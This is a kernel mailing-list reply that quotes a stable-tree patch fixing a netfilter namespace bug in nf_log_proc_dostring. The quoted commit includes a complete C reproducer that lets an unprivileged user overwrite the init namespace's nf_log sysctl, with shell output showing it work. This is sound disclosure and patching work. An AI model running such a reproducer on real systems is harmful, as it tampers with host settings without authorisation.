Re: [PATCH 4.4 38/38] netfilter: fix namespace handling in nf_log_proc_dostring

[Pablo Neira Ayuso <pablo@netfilter.org>]

Greg,

Thanks a lot for picking up this one!

I have more stable stuff for netfilter, I can prepare a batch for you.
I'll keep it small and only urgent stuff.

Let me know if that's fine with you.

On Thu, Nov 17, 2016 at 11:33:16AM +0100, Greg Kroah-Hartman wrote:
> 4.4-stable review patch.  If anyone has any objections, please let me know.
> 
> ------------------
> 
> From: Jann Horn <jann@thejh.net>
> 
> commit dbb5918cb333dfeb8897f8e8d542661d2ff5b9a0 upstream.
> 
> nf_log_proc_dostring() used current's network namespace instead of the one
> corresponding to the sysctl file the write was performed on. Because the
> permission check happens at open time and the nf_log files in namespaces
> are accessible for the namespace owner, this can be abused by an
> unprivileged user to effectively write to the init namespace's nf_log
> sysctls.
> 
> Stash the "struct net *" in extra2 - data and extra1 are already used.
> 
> Repro code:
> 
> #define _GNU_SOURCE
> #include <stdlib.h>
> #include <sched.h>
> #include <err.h>
> #include <sys/mount.h>
> #include <sys/types.h>
> #include <sys/wait.h>
> #include <fcntl.h>
> #include <unistd.h>
> #include <string.h>
> #include <stdio.h>
> 
> char child_stack[1000000];
> 
> uid_t outer_uid;
> gid_t outer_gid;
> int stolen_fd = -1;
> 
> void writefile(char *path, char *buf) {
>         int fd = open(path, O_WRONLY);
>         if (fd == -1)
>                 err(1, "unable to open thing");
>         if (write(fd, buf, strlen(buf)) != strlen(buf))
>                 err(1, "unable to write thing");
>         close(fd);
> }
> 
> int child_fn(void *p_) {
>         if (mount("proc", "/proc", "proc", MS_NOSUID|MS_NODEV|MS_NOEXEC,
>                   NULL))
>                 err(1, "mount");
> 
>         /* Yes, we need to set the maps for the net sysctls to recognize us
>          * as namespace root.
>          */
>         char buf[1000];
>         sprintf(buf, "0 %d 1\n", (int)outer_uid);
>         writefile("/proc/1/uid_map", buf);
>         writefile("/proc/1/setgroups", "deny");
>         sprintf(buf, "0 %d 1\n", (int)outer_gid);
>         writefile("/proc/1/gid_map", buf);
> 
>         stolen_fd = open("/proc/sys/net/netfilter/nf_log/2", O_WRONLY);
>         if (stolen_fd == -1)
>                 err(1, "open nf_log");
>         return 0;
> }
> 
> int main(void) {
>         outer_uid = getuid();
>         outer_gid = getgid();
> 
>         int child = clone(child_fn, child_stack + sizeof(child_stack),
>                           CLONE_FILES|CLONE_NEWNET|CLONE_NEWNS|CLONE_NEWPID
>                           |CLONE_NEWUSER|CLONE_VM|SIGCHLD, NULL);
>         if (child == -1)
>                 err(1, "clone");
>         int status;
>         if (wait(&status) != child)
>                 err(1, "wait");
>         if (!WIFEXITED(status) || WEXITSTATUS(status) != 0)
>                 errx(1, "child exit status bad");
> 
>         char *data = "NONE";
>         if (write(stolen_fd, data, strlen(data)) != strlen(data))
>                 err(1, "write");
>         return 0;
> }
> 
> Repro:
> 
> $ gcc -Wall -o attack attack.c -std=gnu99
> $ cat /proc/sys/net/netfilter/nf_log/2
> nf_log_ipv4
> $ ./attack
> $ cat /proc/sys/net/netfilter/nf_log/2
> NONE
> 
> Because this looks like an issue with very low severity, I'm sending it to
> the public list directly.
> 
> Signed-off-by: Jann Horn <jann@thejh.net>
> Signed-off-by: Pablo Neira Ayuso <pablo@netfilter.org>
> Signed-off-by: Greg Kroah-Hartman <gregkh@linuxfoundation.org>
> 
> ---
>  net/netfilter/nf_log.c |    6 ++++--
>  1 file changed, 4 insertions(+), 2 deletions(-)
> 
> --- a/net/netfilter/nf_log.c
> +++ b/net/netfilter/nf_log.c
> @@ -401,7 +401,7 @@ static int nf_log_proc_dostring(struct c
>  	size_t size = *lenp;
>  	int r = 0;
>  	int tindex = (unsigned long)table->extra1;
> -	struct net *net = current->nsproxy->net_ns;
> +	struct net *net = table->extra2;
>  
>  	if (write) {
>  		if (size > sizeof(buf))
> @@ -453,7 +453,6 @@ static int netfilter_log_sysctl_init(str
>  				 3, "%d", i);
>  			nf_log_sysctl_table[i].procname	=
>  				nf_log_sysctl_fnames[i];
> -			nf_log_sysctl_table[i].data = NULL;
>  			nf_log_sysctl_table[i].maxlen = NFLOGGER_NAME_LEN;
>  			nf_log_sysctl_table[i].mode = 0644;
>  			nf_log_sysctl_table[i].proc_handler =
> @@ -463,6 +462,9 @@ static int netfilter_log_sysctl_init(str
>  		}
>  	}
>  
> +	for (i = NFPROTO_UNSPEC; i < NFPROTO_NUMPROTO; i++)
> +		table[i].extra2 = net;
> +
>  	net->nf.nf_log_dir_header = register_net_sysctl(net,
>  						"net/netfilter/nf_log",
>  						table);
> 
>